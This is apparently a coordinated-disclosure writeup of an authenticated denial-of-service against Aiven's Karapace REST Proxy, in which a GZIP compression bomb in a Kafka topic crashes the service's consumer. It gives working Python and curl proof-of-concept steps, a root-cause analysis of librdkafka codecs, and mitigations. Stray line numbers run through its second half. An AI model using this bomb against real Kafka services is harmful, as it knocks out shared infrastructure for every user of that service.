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  <a class="back" href="/security-research-notebook/">&larr; Research notebook</a>
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  <div class="kicker">DoS</div>
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  <h1>Authenticated DoS: Karapace REST Proxy Crash via GZIP Compression Bomb in Kafka Messages</h1>
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</div></header>
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<section><div class="wrap"><div class="content">
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<h2>VRT</h2>
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<p>Server-Side Injection &gt; Resource Exhaustion &gt; Denial of Service</p>
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<h2>CVSS</h2>
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<p><strong>7.5 (High)</strong>, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</p>
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<h2>Summary</h2>
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<p>An authenticated Aiven Kafka user can crash Aiven&rsquo;s <strong>Karapace REST Proxy</strong> by producing a GZIP-compressed message with an extreme compression ratio (compression bomb) to any topic, then consuming that topic through the Karapace REST API. Karapace uses confluent-kafka-python (backed by librdkafka) for its internal consumer, and librdkafka&rsquo;s GZIP decompression has no upper bound on output size, unlike its ZSTD codec which correctly caps decompression at <code>receive.message.max.bytes</code>.</p>
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<p>A 917KB compressed message decompresses to 900MB, causing Karapace to allocate 1.8GB+ of memory and crash. The bomb message persists in the topic, re-crashing Karapace on every subsequent consume request from any user.</p>
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<h2>Aiven-Specific Impact</h2>
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<p>This is NOT merely an upstream librdkafka bug report. The finding is that <strong>Aiven&rsquo;s Karapace architecture exposes a server-side librdkafka consumer to attacker-controlled compressed data without any decompression size mitigation</strong>:</p>
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<ol>
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<li><strong>Karapace REST Proxy is Aiven&rsquo;s own service</strong>, it runs server-side, consuming from user topics via librdkafka</li>
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<li><strong>Users control the message content</strong>, any authenticated producer can send compressed messages</li>
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<li><strong>No server-side decompression limit</strong>, Aiven imposes no additional bounds beyond what librdkafka provides (which for GZIP is: none)</li>
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<li><strong>Persistent DoS</strong>, the bomb message stays in the topic until retention expires; every REST API consume attempt re-triggers the crash</li>
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<li><strong>Service-level impact</strong>, Karapace crash affects Schema Registry and REST Proxy availability for the entire Kafka service</li>
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</ol>
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<h2>Attack Chain</h2>
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<pre><code>Attacker (authenticated) → Produce GZIP bomb to topic via Kafka protocol
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                         → Consume topic via Karapace REST API
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                         → Karapace's librdkafka consumer decompresses bomb
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                         → Unbounded memory allocation → OOM → Karapace crash
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</code></pre>
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<h2>Reproduction</h2>
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<h3>Prerequisites</h3>
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<ul>
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<li>Aiven Kafka service with <code>kafka_rest</code> enabled</li>
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<li>SSL certificates from Aiven console</li>
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<li>Python 3 + confluent-kafka: <code>pip install confluent-kafka</code></li>
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</ul>
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<h3>Step 1: Produce GZIP compression bomb</h3>
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<pre><code class="language-python">from confluent_kafka import Producer
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# 200MB of zeros → ~200KB compressed with GZIP (1000:1 ratio)
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payload = b'\x00' * (200 * 1024 * 1024)
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conf = {
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    'bootstrap.servers': '&lt;kafka-host&gt;:&lt;port&gt;',
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    'security.protocol': 'SSL',
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    'ssl.ca.location': 'ca.pem',
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    'ssl.certificate.location': 'service.cert',
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    'ssl.key.location': 'service.key',
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    'compression.type': 'gzip',
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    'message.max.bytes': str(210 * 1024 * 1024),
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}
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p = Producer(conf)
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p.produce('bomb-topic', value=payload)
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p.flush()
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# Result: ~200KB stored on broker, decompresses to 200MB
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</code></pre>
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<h3>Step 2: Consume via Karapace REST API (triggers crash)</h3>
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<pre><code class="language-bash">KARAPACE=&quot;https://&lt;kafka-rest-host&gt;:&lt;port&gt;&quot;
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# Create consumer
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curl -s -X POST &quot;$KARAPACE/consumers/bomb-group&quot; \
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  -H &quot;Content-Type: application/vnd.kafka.binary.v2+json&quot; \
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  --cert service.cert --key service.key --cacert ca.pem \
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  -d '{&quot;name&quot;:&quot;bomb-consumer&quot;,&quot;format&quot;:&quot;binary&quot;,&quot;auto.offset.reset&quot;:&quot;earliest&quot;}'
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# Subscribe
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curl -s -X POST &quot;$KARAPACE/consumers/bomb-group/instances/bomb-consumer/subscription&quot; \
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  -H &quot;Content-Type: application/vnd.kafka.binary.v2+json&quot; \
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  --cert service.cert --key service.key --cacert ca.pem \
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  -d '{&quot;topics&quot;:[&quot;bomb-topic&quot;]}'
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# Fetch records - THIS TRIGGERS THE CRASH
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# Karapace's librdkafka consumer decompresses the bomb → OOM
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curl -s &quot;$KARAPACE/consumers/bomb-group/instances/bomb-consumer/records&quot; \
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  -H &quot;Accept: application/vnd.kafka.binary.v2+json&quot; \
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  --cert service.cert --key service.key --cacert ca.pem
273
# Expected: connection reset / 502 / timeout (Karapace has crashed)
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</code></pre>
275
<h3>Step 3: Verify Karapace crash</h3>
276
<pre><code class="language-bash"># Subsequent requests to Karapace fail until it restarts:
277
curl -s &quot;$KARAPACE/topics&quot; \
278
  --cert service.cert --key service.key --cacert ca.pem
279
# Expected: connection refused / 502 (service restarting)
280
</code></pre>
281
<h2>Root Cause Analysis</h2>
282
<p>librdkafka&rsquo;s decompression codecs have inconsistent size bounds:</p>
283
<table>
284
<thead>
285
<tr>
286
<th>Codec</th>
287
<th>Source File</th>
288
<th>Size Limit</th>
289
<th>Vulnerable?</th>
290
</tr>
291
</thead>
292
<tbody>
293
<tr>
294
<td><strong>ZSTD</strong></td>
295
<td><code>rdkafka_zstd.c</code></td>
296
<td><code>while (out_bufsize &lt;= recv_max_msg_size)</code></td>
297
<td>No, correctly bounded</td>
298
</tr>
299
<tr>
300
<td><strong>GZIP</strong></td>
301
<td><code>rdgz.c</code></td>
302
<td><strong>NONE</strong>, allocates full <code>strm.total_out</code></td>
303
<td><strong>YES</strong></td>
304
</tr>
305
<tr>
306
<td><strong>LZ4</strong></td>
307
<td><code>rdkafka_lz4.c</code></td>
308
<td><strong>NONE</strong>, unbounded realloc loop</td>
309
<td><strong>YES</strong></td>
310
</tr>
311
<tr>
312
<td><strong>Snappy</strong></td>
313
<td><code>snappy.c</code></td>
314
<td><strong>NONE</strong>, allocates sum of chunk sizes</td>
315
<td><strong>YES</strong></td>
316
</tr>
317
</tbody>
318
</table>
319
<p>The ZSTD codec correctly caps decompression at <code>receive.message.max.bytes</code>. The GZIP, LZ4, and Snappy codecs do not enforce any limit, allowing attacker-controlled decompressed output sizes.</p>
320
<p><strong>Aiven&rsquo;s Karapace does not add any additional decompression limit</strong> on top of librdkafka&rsquo;s defaults, nor does the Aiven Kafka configuration impose decompression bounds at the service level.</p>
321
<h2>Local PoC Evidence (Docker Kafka 4.2.0 + librdkafka 2.14.0)</h2>
322
<p><strong>200MB bomb:</strong>
323
- Compressed on broker: 203,932 bytes (199KB)
324
- Consumer memory increase: +400MB (from 15MB baseline to 416MB)</p>
325
<p><strong>900MB bomb:</strong>
326
- Compressed on broker: 917,351 bytes (896KB)
327
- Consumer memory increase: +1.8GB (from 15MB baseline to 1,816MB)
328
- Kafka broker&rsquo;s own DumpLogSegments tool crashes: <code>java.lang.OutOfMemoryError: Java heap space</code></p>
329
<h2>Suggested Mitigations for Aiven</h2>
330
<ol>
331
<li><strong>Karapace-level</strong>: Configure <code>receive.message.max.bytes</code> to a safe value and add explicit decompression size validation before serving via REST API</li>
332
<li><strong>Container-level</strong>: Set memory limits on the Karapace container with OOM restart policy</li>
333
<li><strong>Service-level</strong>: Add a configurable <code>max.decompressed.message.bytes</code> parameter that applies across all compression codecs</li>
334
<li><strong>Upstream</strong>: Report the inconsistent decompression bounds to Confluent/librdkafka (GZIP/LZ4/Snappy should match ZSTD&rsquo;s behavior)</li>
335
</ol>
336
<h2>Affected Versions</h2>
337
<ul>
338
<li>Aiven Karapace: all versions using confluent-kafka-python</li>
339
<li>librdkafka: all versions through 2.14.0 (latest)</li>
340
<li>All Aiven Kafka services with REST Proxy enabled</li>
341
</ul>
342
<hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source &middot; github.com/zionboggan/security-research-notebook &middot; writeups/aiven/kafka-karapace-gzip-bomb-dos.md</p>
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</div></div></section>
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<footer><div class="wrap row">
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  <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div>
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  <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div>
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